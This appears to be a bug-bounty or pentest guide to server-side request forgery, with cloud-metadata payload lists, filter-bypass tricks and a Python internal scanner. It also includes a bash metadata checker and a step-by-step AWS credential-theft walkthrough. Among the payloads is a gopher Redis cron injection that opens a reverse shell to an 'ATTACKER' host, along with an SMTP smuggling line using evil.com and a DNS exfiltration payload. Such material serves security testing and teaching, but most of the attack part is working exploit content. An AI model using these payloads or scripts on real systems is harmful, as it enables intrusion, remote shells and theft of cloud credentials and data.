Exploitation A10

Server-Side Request Forgery (SSRF)

SSRF allows attackers to make requests from the server to internal systems, cloud metadata endpoints, or external services. This can lead to data exfiltration, internal network access, or cloud account takeover.

Warning

SSRF in cloud environments can expose IAM credentials and lead to full infrastructure compromise. Test carefully and report immediately if cloud metadata is accessible.

🎯 Why SSRF Matters in the Cloud Era

SSRF has evolved from a low-severity finding to one of the most critical cloud vulnerabilities:

  • Capital One Breach (2019): Attacker used SSRF to access AWS metadata, stealing 100+ million customer records. Cost: $190M+ in fines and remediation.
  • Cloud Prevalence: 94% of enterprises use cloud services. Every cloud instance has metadata endpoints accessible via SSRF.
  • Credential Exposure: Cloud metadata often contains temporary IAM credentials that grant access to S3 buckets, databases, and other services.
  • Internal Network Pivot: SSRF bypasses firewalls and network segmentation, allowing access to internal services never meant to be internet-accessible.
  • Container Orchestration: Kubernetes API access via SSRF can lead to cluster takeover and lateral movement across microservices.

Tools & Resources

SSRFmap

Automated SSRF exploitation tool with protocol support

git clone https://github.com/swisskyrepo/SSRFmap GitHub →

Gopherus

Generate gopher payloads for Redis, MySQL, FastCGI, SMTP

git clone https://github.com/tarunkant/Gopherus GitHub →

Burp Collaborator

Detect blind SSRF via OOB DNS/HTTP

Burp Suite Pro

interactsh

Free OOB interaction server (DNS, HTTP, SMTP)

go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest GitHub →

ground-control

Self-hosted SSRF exploitation server

git clone https://github.com/jobertabma/ground-control GitHub →

SSRF Sheriff

Burp extension for SSRF detection

BApp Store BApp Store →

Understanding SSRF

SSRF occurs when an application fetches remote resources based on user-supplied URLs. The server makes requests on behalf of the attacker, bypassing client-side restrictions and accessing internal resources.

Common Vulnerable Features

  • URL preview/unfurling (Slack, Discord-like features)
  • Webhook endpoints
  • PDF generators fetching external resources
  • Image/file importers
  • API integrations (fetch from URL)
  • Proxy/redirect functions

Basic SSRF Payloads

Localhost Access

text
# Access internal services via localhost
http://localhost/admin
http://127.0.0.1/admin
http://127.0.0.1:8080/
http://127.0.0.1:3000/
http://127.0.0.1:22/  (check for SSH banner)

# Internal hostnames
http://internal-api/
http://backend/
http://database/
http://redis:6379/

Internal Network Scanning

text
# Scan internal IP ranges
http://192.168.1.1/
http://10.0.0.1/
http://172.16.0.1/

# Common internal services
http://192.168.1.1:80      # Web servers
http://192.168.1.1:443     # HTTPS
http://192.168.1.1:22      # SSH
http://192.168.1.1:3306    # MySQL
http://192.168.1.1:5432    # PostgreSQL
http://192.168.1.1:6379    # Redis
http://192.168.1.1:27017   # MongoDB
http://192.168.1.1:9200    # Elasticsearch
http://192.168.1.1:8500    # Consul

Cloud Metadata Endpoints

Cloud instances have metadata services accessible from inside. SSRF can expose credentials, API keys, and sensitive configuration.

AWS

bash
# AWS Instance Metadata Service (IMDS)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Get IAM role name, then credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE_NAME]

# User data (may contain secrets)
http://169.254.169.254/latest/user-data

# IMDSv2 requires token (but worth trying v1 first)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/ -H "X-aws-ec2-metadata-token: $TOKEN"

Google Cloud (GCP)

bash
# GCP Metadata (requires header but try without)
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/

# Instance info
http://metadata.google.internal/computeMetadata/v1/instance/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/zone

# Service account token (CRITICAL)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Required header for GCP
Metadata-Flavor: Google

Azure

bash
# Azure Instance Metadata Service
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01

# Access token
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# Required header
Metadata: true

Other Cloud Providers

bash
# DigitalOcean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/hostname

# Oracle Cloud
http://169.254.169.254/opc/v1/instance/

# Alibaba Cloud
http://100.100.100.200/latest/meta-data/

# Kubernetes
https://kubernetes.default.svc/
https://kubernetes.default.svc/api/v1/namespaces/default/secrets/

SSRF Bypass Techniques

IP Address Representations

text
# Different ways to represent 127.0.0.1
http://127.0.0.1
http://127.1
http://127.0.1
http://0.0.0.0
http://0
http://localhost
http://[::1]               # IPv6 localhost
http://[0:0:0:0:0:0:0:1]   # IPv6 full

# Decimal representation
http://2130706433          # 127.0.0.1 as decimal
http://0x7f000001          # 127.0.0.1 as hex

# Octal representation
http://0177.0.0.1
http://0177.0.0.01

# Mixed notation
http://127.0.0.1.nip.io    # Resolves to 127.0.0.1
http://spoofed.burpcollaborator.net  # Your controlled DNS

URL Encoding & Tricks

text
# URL encoding
http://%31%32%37%2e%30%2e%30%2e%31  # 127.0.0.1

# Double URL encoding
http://%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31

# Using @ for credentials
http://attacker.com@127.0.0.1/
http://127.0.0.1#@attacker.com
http://127.0.0.1%2523@attacker.com

# Backslash trick
http://attacker.com\@127.0.0.1

# Different schemas
file:///etc/passwd
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0ainfo%0d%0a

DNS Rebinding

text
# DNS rebinding - domain resolves to attacker IP first, then internal IP
# Attacker controls DNS server to change resolution during request

# Services for testing:
# rbndr.us - http://make-127.0.0.1-rbndr.us
# 1u.ms - http://127.0.0.1.1u.ms

# How it works:
1. Application resolves attacker.com → Attacker's IP (passes allowlist)
2. Attacker quickly changes DNS to 127.0.0.1
3. Application connects to 127.0.0.1 (bypassing IP check)

Protocol Smuggling

text
# Gopher protocol - send arbitrary data to services
# Redis command execution
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

# SMTP via gopher (send email)
gopher://127.0.0.1:25/_MAIL%20FROM%3A%3Cattacker%40evil.com%3E%0ARCPT%20TO%3A%3Cvictim%40target.com%3E%0ADATA%0ASubject%3A%20Test%0AMessage%0A.%0AQUIT

# Dict protocol for Redis
dict://127.0.0.1:6379/info

Blind SSRF

When you can't see the response, use out-of-band techniques to confirm SSRF and exfiltrate data.

text
# Use Burp Collaborator or interactsh.com
http://YOUR-ID.burpcollaborator.net/
http://YOUR-ID.oast.fun/

# DNS-based exfiltration
http://$(whoami).YOUR-ID.burpcollaborator.net/

# Timing-based detection
# If internal IP responds faster than external, SSRF confirmed
http://127.0.0.1/ vs http://nonexistent-external-site.com/

# Port scanning via timing
# Open ports respond quickly, closed ports timeout

Automation Scripts

Python - SSRF Internal Scanner

python
#!/usr/bin/env python3
"""
SSRF Internal Network Scanner
Scans internal IPs through SSRF vulnerability
"""
import requests
import sys
from concurrent.futures import ThreadPoolExecutor

def check_ssrf(base_url, target_ip, param='url'):
    """Check if internal IP is accessible via SSRF"""
    try:
        payload = f"http://{target_ip}/"
        response = requests.get(
            base_url,
            params={param: payload},
            timeout=5
        )
        
        if response.status_code == 200 and len(response.content) > 0:
            print(f"[+] Accessible: {target_ip}")
            return target_ip
    except:
        pass
    return None

def scan_range(base_url, ip_prefix, param='url'):
    """Scan IP range"""
    print(f"[*] Scanning {ip_prefix}.0/24 via {base_url}")
    
    ips = [f"{ip_prefix}.{i}" for i in range(1, 255)]
    
    with ThreadPoolExecutor(max_workers=20) as executor:
        results = list(executor.map(
            lambda ip: check_ssrf(base_url, ip, param),
            ips
        ))
    
    return [r for r in results if r]

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <vulnerable_url> [param_name]")
        print(f"Example: {sys.argv[0]} 'http://target.com/fetch' url")
        sys.exit(1)
    
    base_url = sys.argv[1]
    param = sys.argv[2] if len(sys.argv) > 2 else 'url'
    
    # Scan common internal ranges
    for prefix in ['192.168.1', '192.168.0', '10.0.0', '172.16.0']:
        scan_range(base_url, prefix, param)

Bash - Cloud Metadata Check

bash
#!/bin/bash
# Test SSRF for cloud metadata access

VULN_URL="$1"
PARAM="${2:-url}"

if [ -z "$VULN_URL" ]; then
    echo "Usage: $0 <vulnerable_url> [param_name]"
    exit 1
fi

METADATA_URLS=(
    "http://169.254.169.254/latest/meta-data/"
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    "http://metadata.google.internal/computeMetadata/v1/"
    "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
)

echo "[*] Testing cloud metadata access via SSRF"

for metadata in "${METADATA_URLS[@]}"; do
    echo "[*] Testing: $metadata"
    response=$(curl -s -G "$VULN_URL" --data-urlencode "$PARAM=$metadata")
    
    if echo "$response" | grep -qiE "ami-id|instance-id|hostname|credentials|AccessKey"; then
        echo "[+] CLOUD METADATA ACCESSIBLE!"
        echo "$response" | head -20
    fi
done

Practice Labs

Information

Impact Note: SSRF to cloud metadata is typically Critical severity. Always check if retrieved credentials are valid and report the full attack chain.

SSRF Testing Checklist

📍 Discovery Phase

  • ☐ Test all URL parameters accepting URLs
  • ☐ Check file upload features for URL fetch
  • ☐ Test PDF generators and document converters
  • ☐ Examine webhook/callback functionality
  • ☐ Test image import and preview features
  • ☐ Check API proxy endpoints
  • ☐ Test OAuth callback URLs
  • ☐ Examine HTML import features

☁️ Cloud Metadata

  • ☐ Test AWS metadata (169.254.169.254)
  • ☐ Test GCP metadata (metadata.google.internal)
  • ☐ Test Azure metadata (169.254.169.254)
  • ☐ Check for IMDSv2 vs v1 (AWS)
  • ☐ Attempt to retrieve IAM credentials
  • ☐ Check user-data for secrets
  • ☐ Test Kubernetes service account tokens
  • ☐ Verify retrieved credentials work

🔓 Bypass Techniques

  • ☐ Try decimal IP representation
  • ☐ Try hex IP representation
  • ☐ Try IPv6 addresses ([::1])
  • ☐ Try URL encoding variations
  • ☐ Try DNS rebinding (rbndr.us)
  • ☐ Try nip.io / xip.io wildcard DNS
  • ☐ Try protocol smuggling (gopher://)
  • ☐ Try redirect-based bypass

🔍 Internal Scanning

  • ☐ Scan common internal IP ranges
  • ☐ Check localhost on various ports
  • ☐ Look for internal admin panels
  • ☐ Test Redis (6379), MongoDB (27017)
  • ☐ Test Elasticsearch (9200)
  • ☐ Check internal Git/CI services
  • ☐ Test Consul (8500), etcd (2379)
  • ☐ Document timing differences

How to Exploit Cloud Metadata

Step-by-Step AWS Exploitation

  1. Confirm SSRF: First verify you can reach 169.254.169.254 via the vulnerable parameter
  2. Get IAM Role Name: Request /latest/meta-data/iam/security-credentials/ - this lists available roles
  3. Retrieve Credentials: Request /latest/meta-data/iam/security-credentials/[ROLE_NAME] to get AccessKeyId, SecretAccessKey, and Token
  4. Configure AWS CLI: Export credentials: export AWS_ACCESS_KEY_ID=xxx AWS_SECRET_ACCESS_KEY=xxx AWS_SESSION_TOKEN=xxx
  5. Enumerate Permissions: Use aws sts get-caller-identity then try common actions (s3 ls, ec2 describe-instances)
  6. Escalate: Look for S3 buckets with sensitive data, ability to launch instances, or modify IAM policies

⚠️ Note: IAM credentials from metadata have an expiration time (usually 6 hours). Work quickly and document findings before they expire.

External Resources